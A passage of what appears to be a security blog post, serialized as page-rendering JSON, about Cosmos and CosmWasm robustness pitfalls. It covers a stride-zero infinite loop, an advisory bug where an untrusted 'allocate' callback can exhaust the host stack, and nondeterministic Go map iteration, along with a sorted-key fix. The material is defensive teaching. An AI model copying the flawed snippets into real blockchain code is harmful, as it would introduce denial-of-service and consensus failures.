end",{"type":25,"tag":271,"props":89644,"children":89645},{"style":13625},[89646],{"type":30,"value":30349},{"type":25,"tag":271,"props":89648,"children":89649},{"style":13598},[89650],{"type":30,"value":89633},{"type":25,"tag":271,"props":89652,"children":89653},{"style":13603},[89654],{"type":30,"value":28186},{"type":25,"tag":271,"props":89656,"children":89657},{"style":13598},[89658],{"type":30,"value":89615},{"type":25,"tag":271,"props":89660,"children":89661},{"style":13625},[89662],{"type":30,"value":1860},{"type":25,"tag":271,"props":89664,"children":89665},{"style":13598},[89666],{"type":30,"value":89667},"Stride",{"type":25,"tag":271,"props":89669,"children":89670},{"style":13625},[89671],{"type":30,"value":16431},{"type":25,"tag":271,"props":89673,"children":89674},{"class":13593,"line":16832},[89675,89680,89684,89688,89692,89696,89700,89704],{"type":25,"tag":271,"props":89676,"children":89677},{"style":13598},[89678],{"type":30,"value":89679},"        sum",{"type":25,"tag":271,"props":89681,"children":89682},{"style":13603},[89683],{"type":30,"value":28186},{"type":25,"tag":271,"props":89685,"children":89686},{"style":13598},[89687],{"type":30,"value":89615},{"type":25,"tag":271,"props":89689,"children":89690},{"style":13625},[89691],{"type":30,"value":1860},{"type":25,"tag":271,"props":89693,"children":89694},{"style":13598},[89695],{"type":30,"value":89590},{"type":25,"tag":271,"props":89697,"children":89698},{"style":13625},[89699],{"type":30,"value":5604},{"type":25,"tag":271,"props":89701,"children":89702},{"style":13598},[89703],{"type":30,"value":89633},{"type":25,"tag":271,"props":89705,"children":89706},{"style":13625},[89707],{"type":30,"value":24897},{"type":25,"tag":271,"props":89709,"children":89710},{"class":13593,"line":16841},[89711],{"type":25,"tag":271,"props":89712,"children":89713},{"style":13625},[89714],{"type":30,"value":16501},{"type":25,"tag":271,"props":89716,"children":89717},{"class":13593,"line":16907},[89718,89722,89726,89730,89734,89739,89743,89747,89752],{"type":25,"tag":271,"props":89719,"children":89720},{"style":16171},[89721],{"type":30,"value":30111},{"type":25,"tag":271,"props":89723,"children":89724},{"style":13603},[89725],{"type":30,"value":14341},{"type":25,"tag":271,"props":89727,"children":89728},{"style":13609},[89729],{"type":30,"value":89507},{"type":25,"tag":271,"props":89731,"children":89732},{"style":13625},[89733],{"type":30,"value":947},{"type":25,"tag":271,"props":89735,"children":89736},{"style":13598},[89737],{"type":30,"value":89738},"Sum",{"type":25,"tag":271,"props":89740,"children":89741},{"style":13625},[89742],{"type":30,"value":28453},{"type":25,"tag":271,"props":89744,"children":89745},{"style":13598},[89746],{"type":30,"value":6448},{"type":25,"tag":271,"props":89748,"children":89749},{"style":13625},[89750],{"type":30,"value":89751},"}, ",{"type":25,"tag":271,"props":89753,"children":89754},{"style":14289},[89755],{"type":30,"value":89756},"nil\n",{"type":25,"tag":271,"props":89758,"children":89759},{"class":13593,"line":16915},[89760],{"type":25,"tag":271,"props":89761,"children":89762},{"style":13625},[89763],{"type":30,"value":17058},{"type":25,"tag":26,"props":89765,"children":89766},{},[89767,89769,89774,89775,89781],{"type":30,"value":89768},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":25,"tag":264,"props":89770,"children":89772},{"className":89771},[],[89773],{"type":30,"value":89633},{"type":30,"value":20437},{"type":25,"tag":264,"props":89776,"children":89778},{"className":89777},[],[89779],{"type":30,"value":89780},"stride",{"type":30,"value":89782},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":25,"tag":26,"props":89784,"children":89785},{},[89786],{"type":30,"value":89787},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":25,"tag":26,"props":89789,"children":89790},{},[89791],{"type":30,"value":89792},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":25,"tag":26,"props":89794,"children":89795},{},[89796],{"type":30,"value":89797},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":25,"tag":247,"props":89799,"children":89801},{"id":89800},"real-world-examples",[89802],{"type":30,"value":89803},"Real-World Examples",{"type":25,"tag":26,"props":89805,"children":89806},{},[89807],{"type":30,"value":89808},"Now, let's examine a few real-world instances.",{"type":25,"tag":26,"props":89810,"children":89811},{},[89812,89814,89820,89821,89827,89829,89835,89837,89843],{"type":30,"value":89813},"In the case of ",{"type":25,"tag":83,"props":89815,"children":89818},{"href":89816,"rel":89817},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[9066],[89819],{"type":30,"value":30815},{"type":30,"value":14096},{"type":25,"tag":264,"props":89822,"children":89824},{"className":89823},[],[89825],{"type":30,"value":89826},"CosmWasm",{"type":30,"value":89828}," bug, the helper method ",{"type":25,"tag":264,"props":89830,"children":89832},{"className":89831},[],[89833],{"type":30,"value":89834},"write_to_contract",{"type":30,"value":89836}," negligently calls the untrusted Wasm function ",{"type":25,"tag":264,"props":89838,"children":89840},{"className":89839},[],[89841],{"type":30,"value":89842},"\"allocate\"",{"type":30,"value":1860},{"type":25,"tag":26,"props":89845,"children":89846},{},[89847],{"type":25,"tag":83,"props":89848,"children":89851},{"href":89849,"rel":89850},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[9066],[89852],{"type":30,"value":89853},"Permalink for snippet",{"type":25,"tag":7764,"props":89855,"children":89857},{"code":89856,"language":13585,"meta":7,"className":13586,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n",[89858],{"type":25,"tag":264,"props":89859,"children":89860},{"__ignoreMap":7},[89861,89929,89977,90005,90034,90083,90157,90202,90225,90270,90277,90334,90353],{"type":25,"tag":271,"props":89862,"children":89863},{"class":13593,"line":13594},[89864,89868,89873,89877,89881,89885,89890,89894,89898,89902,89907,89911,89916,89920,89925],{"type":25,"tag":271,"props":89865,"children":89866},{"style":14289},[89867],{"type":30,"value":33387},{"type":25,"tag":271,"props":89869,"children":89870},{"style":13620},[89871],{"type":30,"value":89872}," write_to_contract",{"type":25,"tag":271,"props":89874,"children":89875},{"style":13625},[89876],{"type":30,"value":14307},{"type":25,"tag":271,"props":89878,"children":89879},{"style":13609},[89880],{"type":30,"value":5710},{"type":25,"tag":271,"props":89882,"children":89883},{"style":13603},[89884],{"type":30,"value":359},{"type":25,"tag":271,"props":89886,"children":89887},{"style":13609},[89888],{"type":30,"value":89889}," BackendApi",{"type":25,"tag":271,"props":89891,"children":89892},{"style":13625},[89893],{"type":30,"value":44},{"type":25,"tag":271,"props":89895,"children":89896},{"style":13609},[89897],{"type":30,"value":35151},{"type":25,"tag":271,"props":89899,"children":89900},{"style":13603},[89901],{"type":30,"value":359},{"type":25,"tag":271,"props":89903,"children":89904},{"style":13609},[89905],{"type":30,"value":89906}," Storage",{"type":25,"tag":271,"props":89908,"children":89909},{"style":13625},[89910],{"type":30,"value":44},{"type":25,"tag":271,"props":89912,"children":89913},{"style":13609},[89914],{"type":30,"value":89915},"Q",{"type":25,"tag":271,"props":89917,"children":89918},{"style":13603},[89919],{"type":30,"value":359},{"type":25,"tag":271,"props":89921,"children":89922},{"style":13609},[89923],{"type":30,"value":89924}," Querier",{"type":25,"tag":271,"props":89926,"children":89927},{"style":13625},[89928],{"type":30,"value":14324},{"type":25,"tag":271,"props":89930,"children":89931},{"class":13593,"line":11641},[89932,89936,89940,89944,89949,89953,89957,89961,89965,89969,89973],{"type":25,"tag":271,"props":89933,"children":89934},{"style":13598},[89935],{"type":30,"value":16998},{"type":25,"tag":271,"props":89937,"children":89938},{"style":13603},[89939],{"type":30,"value":359},{"type":25,"tag":271,"props":89941,"children":89942},{"style":13603},[89943],{"type":30,"value":14341},{"type":25,"tag":271,"props":89945,"children":89946},{"style":13609},[89947],{"type":30,"value":89948},"Environment",{"type":25,"tag":271,"props":89950,"children":89951},{"style":13625},[89952],{"type":30,"value":14307},{"type":25,"tag":271,"props":89954,"children":89955},{"style":13609},[89956],{"type":30,"value":5710},{"type":25,"tag":271,"props":89958,"children":89959},{"style":13625},[89960],{"type":30,"value":44},{"type":25,"tag":271,"props":89962,"children":89963},{"style":13609},[89964],{"type":30,"value":35151},{"type":25,"tag":271,"props":89966,"children":89967},{"style":13625},[89968],{"type":30,"value":44},{"type":25,"tag":271,"props":89970,"children":89971},{"style":13609},[89972],{"type":30,"value":89915},{"type":25,"tag":271,"props":89974,"children":89975},{"style":13625},[89976],{"type":30,"value":19267},{"type":25,"tag":271,"props":89978,"children":89979},{"class":13593,"line":14354},[89980,89985,89989,89993,89997,90001],{"type":25,"tag":271,"props":89981,"children":89982},{"style":13598},[89983],{"type":30,"value":89984},"    input",{"type":25,"tag":271,"props":89986,"children":89987},{"style":13603},[89988],{"type":30,"value":359},{"type":25,"tag":271,"props":89990,"children":89991},{"style":13603},[89992],{"type":30,"value":14341},{"type":25,"tag":271,"props":89994,"children":89995},{"style":13625},[89996],{"type":30,"value":5604},{"type":25,"tag":271,"props":89998,"children":89999},{"style":13609},[90000],{"type":30,"value":16567},{"type":25,"tag":271,"props":90002,"children":90003},{"style":13625},[90004],{"type":30,"value":27384},{"type":25,"tag":271,"props":90006,"children":90007},{"class":13593,"line":14391},[90008,90012,90016,90021,90025,90030],{"type":25,"tag":271,"props":90009,"children":90010},{"style":13625},[90011],{"type":30,"value":14406},{"type":25,"tag":271,"props":90013,"children":90014},{"style":13603},[90015],{"type":30,"value":14411},{"type":25,"tag":271,"props":90017,"children":90018},{"style":13609},[90019],{"type":30,"value":90020}," VmResult",{"type":25,"tag":271,"props":90022,"children":90023},{"style":13625},[90024],{"type":30,"value":14307},{"type":25,"tag":271,"props":90026,"children":90027},{"style":13609},[90028],{"type":30,"value":90029},"u32",{"type":25,"tag":271,"props":90031,"children":90032},{"style":13625},[90033],{"type":30,"value":20404},{"type":25,"tag":271,"props":90035,"children":90036},{"class":13593,"line":14400},[90037,90041,90046,90050,90055,90059,90063,90067,90071,90075,90079],{"type":25,"tag":271,"props":90038,"children":90039},{"style":14289},[90040],{"type":30,"value":16140},{"type":25,"tag":271,"props":90042,"children":90043},{"style":13598},[90044],{"type":30,"value":90045}," out_size",{"type":25,"tag":271,"props":90047,"children":90048},{"style":13603},[90049],{"type":30,"value":16155},{"type":25,"tag":271,"props":90051,"children":90052},{"style":13620},[90053],{"type":30,"value":90054}," to_u32",{"type":25,"tag":271,"props":90056,"children":90057},{"style":13625},[90058],{"type":30,"value":394},{"type":25,"tag":271,"props":90060,"children":90061},{"style":13598},[90062],{"type":30,"value":13871},{"type":25,"tag":271,"props":90064,"children":90065},{"style":13603},[90066],{"type":30,"value":1860},{"type":25,"tag":271,"props":90068,"children":90069},{"style":13620},[90070],{"type":30,"value":22261},{"type":25,"tag":271,"props":90072,"children":90073},{"style":13625},[90074],{"type":30,"value":55076},{"type":25,"tag":271,"props":90076,"children":90077},{"style":13603},[90078],{"type":30,"value":5632},{"type":25,"tag":271,"props":90080,"children":90081},{"style":13625},[90082],{"type":30,"value":16165},{"type":25,"tag":271,"props":90084,"children":90085},{"class":13593,"line":16406},[90086,90090,90094,90098,90102,90106,90111,90115,90119,90123,90127,90131,90136,90140,90144,90149,90153],{"type":25,"tag":271,"props":90087,"children":90088},{"style":14289},[90089],{"type":30,"value":16140},{"type":25,"tag":271,"props":90091,"children":90092},{"style":13598},[90093],{"type":30,"value":22282},{"type":25,"tag":271,"props":90095,"children":90096},{"style":13603},[90097],{"type":30,"value":16155},{"type":25,"tag":271,"props":90099,"children":90100},{"style":13598},[90101],{"type":30,"value":56070},{"type":25,"tag":271,"props":90103,"children":90104},{"style":13603},[90105],{"type":30,"value":1860},{"type":25,"tag":271,"props":90107,"children":90108},{"style":13620},[90109],{"type":30,"value":90110},"call_function1",{"type":25,"tag":271,"props":90112,"children":90113},{"style":13625},[90114],{"type":30,"value":394},{"type":25,"tag":271,"props":90116,"children":90117},{"style":17388},[90118],{"type":30,"value":89842},{"type":25,"tag":271,"props":90120,"children":90121},{"style":13625},[90122],{"type":30,"value":44},{"type":25,"tag":271,"props":90124,"children":90125},{"style":13603},[90126],{"type":30,"value":13632},{"type":25,"tag":271,"props":90128,"children":90129},{"style":13625},[90130],{"type":30,"value":5604},{"type":25,"tag":271,"props":90132,"children":90133},{"style":13598},[90134],{"type":30,"value":90135},"out_size",{"type":25,"tag":271,"props":90137,"children":90138},{"style":13603},[90139],{"type":30,"value":1860},{"type":25,"tag":271,"props":90141,"children":90142},{"style":13620},[90143],{"type":30,"value":28007},{"type":25,"tag":271,"props":90145,"children":90146},{"style":13625},[90147],{"type":30,"value":90148},"()])",{"type":25,"tag":271,"props":90150,"children":90151},{"style":13603},[90152],{"type":30,"value":5632},{"type":25,"tag":271,"props":90154,"children":90155},{"style":13625},[90156],{"type":30,"value":16165},{"type":25,"tag":271,"props":90158,"children":90159},{"class":13593,"line":16434},[90160,90164,90169,90173,90178,90182,90186,90190,90194,90198],{"type":25,"tag":271,"props":90161,"children":90162},{"style":14289},[90163],{"type":30,"value":16140},{"type":25,"tag":271,"props":90165,"children":90166},{"style":13598},[90167],{"type":30,"value":90168}," target_ptr",{"type":25,"tag":271,"props":90170,"children":90171},{"style":13603},[90172],{"type":30,"value":16155},{"type":25,"tag":271,"props":90174,"children":90175},{"style":13620},[90176],{"type":30,"value":90177}," ref_to_u32",{"type":25,"tag":271,"props":90179,"children":90180},{"style":13625},[90181],{"type":30,"value":394},{"type":25,"tag":271,"props":90183,"children":90184},{"style":13603},[90185],{"type":30,"value":13632},{"type":25,"tag":271,"props":90187,"children":90188},{"style":13598},[90189],{"type":30,"value":22204},{"type":25,"tag":271,"props":90191,"children":90192},{"style":13625},[90193],{"type":30,"value":440},{"type":25,"tag":271,"props":90195,"children":90196},{"style":13603},[90197],{"type":30,"value":5632},{"type":25,"tag":271,"props":90199,"children":90200},{"style":13625},[90201],{"type":30,"value":16165},{"type":25,"tag":271,"props":90203,"children":90204},{"class":13593,"line":16447},[90205,90209,90213,90217,90221],{"type":25,"tag":271,"props":90206,"children":90207},{"style":16171},[90208],{"type":30,"value":25404},{"type":25,"tag":271,"props":90210,"children":90211},{"style":13598},[90212],{"type":30,"value":90168},{"type":25,"tag":271,"props":90214,"children":90215},{"style":13603},[90216],{"type":30,"value":16422},{"type":25,"tag":271,"props":90218,"children":90219},{"style":16187},[90220],{"type":30,"value":16190},{"type":25,"tag":271,"props":90222,"children":90223},{"style":13625},[90224],{"type":30,"value":16431},{"type":25,"tag":271,"props":90226,"children":90227},{"class":13593,"line":16465},[90228,90232,90236,90240,90245,90249,90254,90258,90262,90266],{"type":25,"tag":271,"props":90229,"children":90230},{"style":16171},[90231],{"type":30,"value":28866},{"type":25,"tag":271,"props":90233,"children":90234},{"style":13609},[90235],{"type":30,"value":28871},{"type":25,"tag":271,"props":90237,"children":90238},{"style":13625},[90239],{"type":30,"value":394},{"type":25,"tag":271,"props":90241,"children":90242},{"style":13609},[90243],{"type":30,"value":90244},"CommunicationError",{"type":25,"tag":271,"props":90246,"children":90247},{"style":13603},[90248],{"type":30,"value":13617},{"type":25,"tag":271,"props":90250,"children":90251},{"style":13620},[90252],{"type":30,"value":90253},"zero_address",{"type":25,"tag":271,"props":90255,"children":90256},{"style":13625},[90257],{"type":30,"value":27000},{"type":25,"tag":271,"props":90259,"children":90260},{"style":13603},[90261],{"type":30,"value":1860},{"type":25,"tag":271,"props":90263,"children":90264},{"style":13620},[90265],{"type":30,"value":28007},{"type":25,"tag":271,"props":90267,"children":90268},{"style":13625},[90269],{"type":30,"value":28546},{"type":25,"tag":271,"props":90271,"children":90272},{"class":13593,"line":16486},[90273],{"type":25,"tag":271,"props":90274,"children":90275},{"style":13625},[90276],{"type":30,"value":16501},{"type":25,"tag":271,"props":90278,"children":90279},{"class":13593,"line":16495},[90280,90285,90289,90293,90297,90301,90305,90309,90314,90318,90322,90326,90330],{"type":25,"tag":271,"props":90281,"children":90282},{"style":13620},[90283],{"type":30,"value":90284},"    write_region",{"type":25,"tag":271,"props":90286,"children":90287},{"style":13625},[90288],{"type":30,"value":394},{"type":25,"tag":271,"props":90290,"children":90291},{"style":13603},[90292],{"type":30,"value":13632},{"type":25,"tag":271,"props":90294,"children":90295},{"style":13598},[90296],{"type":30,"value":48802},{"type":25,"tag":271,"props":90298,"children":90299},{"style":13603},[90300],{"type":30,"value":1860},{"type":25,"tag":271,"props":90302,"children":90303},{"style":13620},[90304],{"type":30,"value":89088},{"type":25,"tag":271,"props":90306,"children":90307},{"style":13625},[90308],{"type":30,"value":31497},{"type":25,"tag":271,"props":90310,"children":90311},{"style":13598},[90312],{"type":30,"value":90313},"target_ptr",{"type":25,"tag":271,"props":90315,"children":90316},{"style":13625},[90317],{"type":30,"value":44},{"type":25,"tag":271,"props":90319,"children":90320},{"style":13598},[90321],{"type":30,"value":13871},{"type":25,"tag":271,"props":90323,"children":90324},{"style":13625},[90325],{"type":30,"value":440},{"type":25,"tag":271,"props":90327,"children":90328},{"style":13603},[90329],{"type":30,"value":5632},{"type":25,"tag":271,"props":90331,"children":90332},{"style":13625},[90333],{"type":30,"value":16165},{"type":25,"tag":271,"props":90335,"children":90336},{"class":13593,"line":16744},[90337,90341,90345,90349],{"type":25,"tag":271,"props":90338,"children":90339},{"style":13609},[90340],{"type":30,"value":27454},{"type":25,"tag":271,"props":90342,"children":90343},{"style":13625},[90344],{"type":30,"value":394},{"type":25,"tag":271,"props":90346,"children":90347},{"style":13598},[90348],{"type":30,"value":90313},{"type":25,"tag":271,"props":90350,"children":90351},{"style":13625},[90352],{"type":30,"value":16299},{"type":25,"tag":271,"props":90354,"children":90355},{"class":13593,"line":16761},[90356],{"type":25,"tag":271,"props":90357,"children":90358},{"style":13625},[90359],{"type":30,"value":17058},{"type":25,"tag":26,"props":90361,"children":90362},{},[90363,90365,90371,90373,90378],{"type":30,"value":90364},"As users have complete control over ",{"type":25,"tag":264,"props":90366,"children":90368},{"className":90367},[],[90369],{"type":30,"value":90370},"allocate",{"type":30,"value":90372},", there is a possibility to call back ",{"type":25,"tag":264,"props":90374,"children":90376},{"className":90375},[],[90377],{"type":30,"value":89834},{"type":30,"value":90379}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":25,"tag":26,"props":90381,"children":90382},{},[90383,90385,90392],{"type":30,"value":90384},"Additional real-world examples include ",{"type":25,"tag":83,"props":90386,"children":90389},{"href":90387,"rel":90388},"https://github.com/cosmos/cosmos-sdk/issues/16676",[9066],[90390],{"type":30,"value":90391},"not returning proper values for malformed txs",{"type":30,"value":1860},{"type":25,"tag":96,"props":90394,"children":90396},{"id":90395},"order-was-the-dream-of-man",[90397],{"type":30,"value":90398},"Order Was the Dream of Man",{"type":25,"tag":26,"props":90400,"children":90401},{},[90402],{"type":30,"value":90403},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":25,"tag":26,"props":90405,"children":90406},{},[90407],{"type":30,"value":90408},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":25,"tag":7764,"props":90410,"children":90412},{"code":90411,"language":89280,"meta":7,"className":89281,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    }\n}\n",[90413],{"type":25,"tag":264,"props":90414,"children":90415},{"__ignoreMap":7},[90416,90449,90456,90485,90522,90551,90572,90584,90621,90629,90636,90643],{"type":25,"tag":271,"props":90417,"children":90418},{"class":13593,"line":13594},[90419,90423,90428,90432,90436,90440,90444],{"type":25,"tag":271,"props":90420,"children":90421},{"style":14289},[90422],{"type":30,"value":45869},{"type":25,"tag":271,"props":90424,"children":90425},{"style":13609},[90426],{"type":30,"value":90427}," ObjectMap",{"type":25,"tag":271,"props":90429,"children":90430},{"style":14289},[90431],{"type":30,"value":62784},{"type":25,"tag":271,"props":90433,"children":90434},{"style":13625},[90435],{"type":30,"value":5604},{"type":25,"tag":271,"props":90437,"children":90438},{"style":13609},[90439],{"type":30,"value":42779},{"type":25,"tag":271,"props":90441,"children":90442},{"style":13625},[90443],{"type":30,"value":5630},{"type":25,"tag":271,"props":90445,"children":90446},{"style":13609},[90447],{"type":30,"value":90448},"string\n",{"type":25,"tag":271,"props":90450,"children":90451},{"class":13593,"line":11641},[90452],{"type":25,"tag":271,"props":90453,"children":90454},{"emptyLinePlaceholder":18},[90455],{"type":30,"value":16829},{"type":25,"tag":271,"props":90457,"children":90458},{"class":13593,"line":14354},[90459,90463,90468,90472,90477,90481],{"type":25,"tag":271,"props":90460,"children":90461},{"style":14289},[90462],{"type":30,"value":89416},{"type":25,"tag":271,"props":90464,"children":90465},{"style":13620},[90466],{"type":30,"value":90467}," EmitEntries",{"type":25,"tag":271,"props":90469,"children":90470},{"style":13625},[90471],{"type":30,"value":394},{"type":25,"tag":271,"props":90473,"children":90474},{"style":13598},[90475],{"type":30,"value":90476},"objectMap",{"type":25,"tag":271,"props":90478,"children":90479},{"style":13609},[90480],{"type":30,"value":90427},{"type":25,"tag":271,"props":90482,"children":90483},{"style":13625},[90484],{"type":30,"value":27925},{"type":25,"tag":271,"props":90486,"children":90487},{"class":13593,"line":14391},[90488,90492,90496,90500,90504,90508,90513,90518],{"type":25,"tag":271,"props":90489,"children":90490},{"style":16171},[90491],{"type":30,"value":16174},{"type":25,"tag":271,"props":90493,"children":90494},{"style":13598},[90495],{"type":30,"value":19063},{"type":25,"tag":271,"props":90497,"children":90498},{"style":13625},[90499],{"type":30,"value":44},{"type":25,"tag":271,"props":90501,"children":90502},{"style":13598},[90503],{"type":30,"value":52262},{"type":25,"tag":271,"props":90505,"children":90506},{"style":13603},[90507],{"type":30,"value":89532},{"type":25,"tag":271,"props":90509,"children":90510},{"style":16171},[90511],{"type":30,"value":90512}," range",{"type":25,"tag":271,"props":90514,"children":90515},{"style":13598},[90516],{"type":30,"value":90517}," objectMap",{"type":25,"tag":271,"props":90519,"children":90520},{"style":13625},[90521],{"type":30,"value":16431},{"type":25,"tag":271,"props":90523,"children":90524},{"class":13593,"line":14400},[90525,90529,90533,90538,90542,90547],{"type":25,"tag":271,"props":90526,"children":90527},{"style":13598},[90528],{"type":30,"value":39296},{"type":25,"tag":271,"props":90530,"children":90531},{"style":13625},[90532],{"type":30,"value":1860},{"type":25,"tag":271,"props":90534,"children":90535},{"style":13598},[90536],{"type":30,"value":90537},"EventManager",{"type":25,"tag":271,"props":90539,"children":90540},{"style":13625},[90541],{"type":30,"value":1860},{"type":25,"tag":271,"props":90543,"children":90544},{"style":13620},[90545],{"type":30,"value":90546},"EmitEvent",{"type":25,"tag":271,"props":90548,"children":90549},{"style":13625},[90550],{"type":30,"value":16609},{"type":25,"tag":271,"props":90552,"children":90553},{"class":13593,"line":16406},[90554,90559,90563,90568],{"type":25,"tag":271,"props":90555,"children":90556},{"style":13598},[90557],{"type":30,"value":90558},"            sdk",{"type":25,"tag":271,"props":90560,"children":90561},{"style":13625},[90562],{"type":30,"value":1860},{"type":25,"tag":271,"props":90564,"children":90565},{"style":13620},[90566],{"type":30,"value":90567},"NewEvent",{"type":25,"tag":271,"props":90569,"children":90570},{"style":13625},[90571],{"type":30,"value":16609},{"type":25,"tag":271,"props":90573,"children":90574},{"class":13593,"line":16434},[90575,90580],{"type":25,"tag":271,"props":90576,"children":90577},{"style":17388},[90578],{"type":30,"value":90579},"                \"MapContext\"",{"type":25,"tag":271,"props":90581,"children":90582},{"style":13625},[90583],{"type":30,"value":14351},{"type":25,"tag":271,"props":90585,"children":90586},{"class":13593,"line":16447},[90587,90592,90596,90601,90605,90609,90613,90617],{"type":25,"tag":271,"props":90588,"children":90589},{"style":13598},[90590],{"type":30,"value":90591},"                sdk",{"type":25,"tag":271,"props":90593,"children":90594},{"style":13625},[90595],{"type":30,"value":1860},{"type":25,"tag":271,"props":90597,"children":90598},{"style":13620},[90599],{"type":30,"value":90600},"NewAttribute",{"type":25,"tag":271,"props":90602,"children":90603},{"style":13625},[90604],{"type":30,"value":394},{"type":25,"tag":271,"props":90606,"children":90607},{"style":13598},[90608],{"type":30,"value":85270},{"type":25,"tag":271,"props":90610,"children":90611},{"style":13625},[90612],{"type":30,"value":44},{"type":25,"tag":271,"props":90614,"children":90615},{"style":13598},[90616],{"type":30,"value":52262},{"type":25,"tag":271,"props":90618,"children":90619},{"style":13625},[90620],{"type":30,"value":19860},{"type":25,"tag":271,"props":90622,"children":90623},{"class":13593,"line":16465},[90624],{"type":25,"tag":271,"props":90625,"children":90626},{"style":13625},[90627],{"type":30,"value":90628},"            )\n",{"type":25,"tag":271,"props":90630,"children":90631},{"class":13593,"line":16486},[90632],{"type":25,"tag":271,"props":90633,"children":90634},{"style":13625},[90635],{"type":30,"value":81435},{"type":25,"tag":271,"props":90637,"children":90638},{"class":13593,"line":16495},[90639],{"type":25,"tag":271,"props":90640,"children":90641},{"style":13625},[90642],{"type":30,"value":16501},{"type":25,"tag":271,"props":90644,"children":90645},{"class":13593,"line":16744},[90646],{"type":25,"tag":271,"props":90647,"children":90648},{"style":13625},[90649],{"type":30,"value":17058},{"type":25,"tag":26,"props":90651,"children":90652},{},[90653],{"type":30,"value":90654},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":25,"tag":16074,"props":90656,"children":90657},{},[90658],{"type":25,"tag":26,"props":90659,"children":90660},{},[90661],{"type":30,"value":90662},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":25,"tag":26,"props":90664,"children":90665},{},[90666,90668,90673],{"type":30,"value":90667},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":25,"tag":264,"props":90669,"children":90671},{"className":90670},[],[90672],{"type":30,"value":80217},{"type":30,"value":90674}," and then fetch the values using the sorted key array before emitting them.",{"type":25,"tag":7764,"props":90676,"children":90678},{"code":90677,"language":89280,"meta":7,"className":89281,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[90679],{"type":25,"tag":264,"props":90680,"children":90681},{"__ignoreMap":7},[90682,90713,90720,90747,90767,90794,90830,90837,90866,90873,90908,90935,90954,90965,91009,91016,91023,91030],{"type":25,"tag":271,"props":90683,"children":90684},{"class":13593,"line":13594},[90685,90689,90693,90697,90701,90705,90709],{"type":25,"tag":271,"props":90686,"children":90687},{"style":14289},[90688],{"type":30,"value":45869},{"type":25,"tag":271,"props":90690,"children":90691},{"style":13609},[90692],{"type":30,"value":90427},{"type":25,"tag":271,"props":90694,"children":90695},{"style":14289},[90696],{"type":30,"value":62784},{"type":25,"tag":271,"props":90698,"children":90699},{"style":13625},[90700],{"type":30,"value":5604},{"type":25,"tag":271,"props":90702,"children":90703},{"style":13609},[90704],{"type":30,"value":42779},{"type":25,"tag":271,"props":90706,"children":90707},{"style":13625},[90708],{"type":30,"value":5630},{"type":25,"tag":271,"props":90710,"children":90711},{"style":13609},[90712],{"type":30,"value":90448},{"type":25,"tag":271,"props":90714,"children":90715},{"class":13593,"line":11641},[90716],{"type":25,"tag":271,"props":90717,"children":90718},{"emptyLinePlaceholder":18},[90719],{"type":30,"value":16829},{"type":25,"tag":271,"props":90721,"children":90722},{"class":13593,"line":14354},[90723,90727,90731,90735,90739,90743],{"type":25,"tag":271,"props":90724,"children":90725},{"style":14289},[90726],{"type":30,"value":89416},{"type":25,"tag":271,"props":90728,"children":90729},{"style":13620},[90730],{"type":30,"value":90467},{"type":25,"tag":271,"props":90732,"children":90733},{"style":13625},[90734],{"type":30,"value":394},{"type":25,"tag":271,"props":90736,"children":90737},{"style":13598},[90738],{"type":30,"value":90476},{"type":25,"tag":271,"props":90740,"children":90741},{"style":13609},[90742],{"type":30,"value":90427},{"type":25,"tag":271,"props":90744,"children":90745},{"style":13625},[90746],{"type":30,"value":27925},{"type":25,"tag":271,"props":90748,"children":90749},{"class":13593,"line":14391},[90750,90755,90759,90763],{"type":25,"tag":271,"props":90751,"children":90752},{"style":14289},[90753],{"type":30,"value":90754},"    